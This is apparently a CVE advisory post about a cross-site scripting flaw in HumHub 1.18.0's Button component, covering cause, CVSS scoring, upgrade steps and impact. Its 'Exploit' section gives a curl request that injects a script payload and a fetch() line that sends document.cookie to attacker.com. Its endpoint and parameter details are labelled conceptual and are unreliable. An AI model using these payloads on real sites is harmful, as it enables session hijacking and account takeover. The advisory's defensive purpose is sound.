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In version 1.18.0 of the open-source enterprise social network HumHub, a cross-site scripting (XSS) vulnerability was identified within the application’s Button component. The root cause of this security flaw is inconsistent output encoding at multiple points in the software’s data handling process. Specifically, when the Button component processes user-controlled input to generate HTML output, it fails to consistently neutralize or encode special characters. This oversight allows an attacker to inject malicious scripts, often using JavaScript, into the web page generated by the vulnerable component. When a victim user visits a page where this malicious input is rendered, the injected script executes within the context of the victim’s browser. This can lead to session hijacking, defacement, or redirection to malicious sites. The vulnerability requires no privileges and no user interaction to exploit, as indicated by its CVSS vector. The issue was addressed and patched by the developers in the subsequent release, version 1.18.1, by implementing proper and consistent output encoding routines .
dailycve form:
Platform: HumHub
Version: 1.18.0
Vulnerability: Cross-site Scripting
Severity: Medium
date: 03/06/2026
Prediction: March 2026
What Undercode Say:
Analytics:
The vulnerability is an Improper Neutralization of Input (CWE-79). The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N) confirms it is network-exploitable, requires no privileges, and has low integrity impact. The patch was released simultaneously with the disclosure, indicating a coordinated effort by the vendor .
Exploit:
To test for this vulnerability, an attacker could inject a standard XSS payload into a parameter processed by the Button component.
Example payload submission (conceptual - using a tool like curl)
The target parameter 'buttonText' is vulnerable to XSS
curl -X POST https://victim.com/button/create \
-d "buttonText=<script>alert('XSS')</script>"
A more sophisticated exploit could steal session cookies.
// Payload to steal document cookies and exfiltrate them
fetch('https://attacker.com/steal?cookie=' + document.cookie);
Protection:
The primary protection is to update to the patched version immediately.
Navigate to your HumHub installation directory cd /var/www/html/humhub Upgrade to the latest stable version using Git git pull origin master git checkout tags/v1.18.1 Alternatively, download the patched release wget https://github.com/humhub/humhub/archive/refs/tags/v1.18.1.tar.gz tar -xzf v1.18.1.tar.gz
If an immediate upgrade is not possible, a temporary workaround is to manually apply the specific code change that fixes the output encoding in the Button component .
Download and apply the specific security patch commit wget https://github.com/humhub/humhub/commit/bd06ab4c75f6c65295ee3e1ce3643437e8f9d10a.patch git apply bd06ab4c75f6c65295ee3e1ce3643437e8f9d10a.patch
Impact:
Successful exploitation allows an attacker to execute arbitrary scripts in the context of a victim’s browser session. This can lead to account takeover, theft of sensitive information, and defacement of the HumHub instance. The vulnerability is particularly severe in an enterprise context where the social network may contain confidential business communications .
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Sources:
Reported By: nvd.nist.gov
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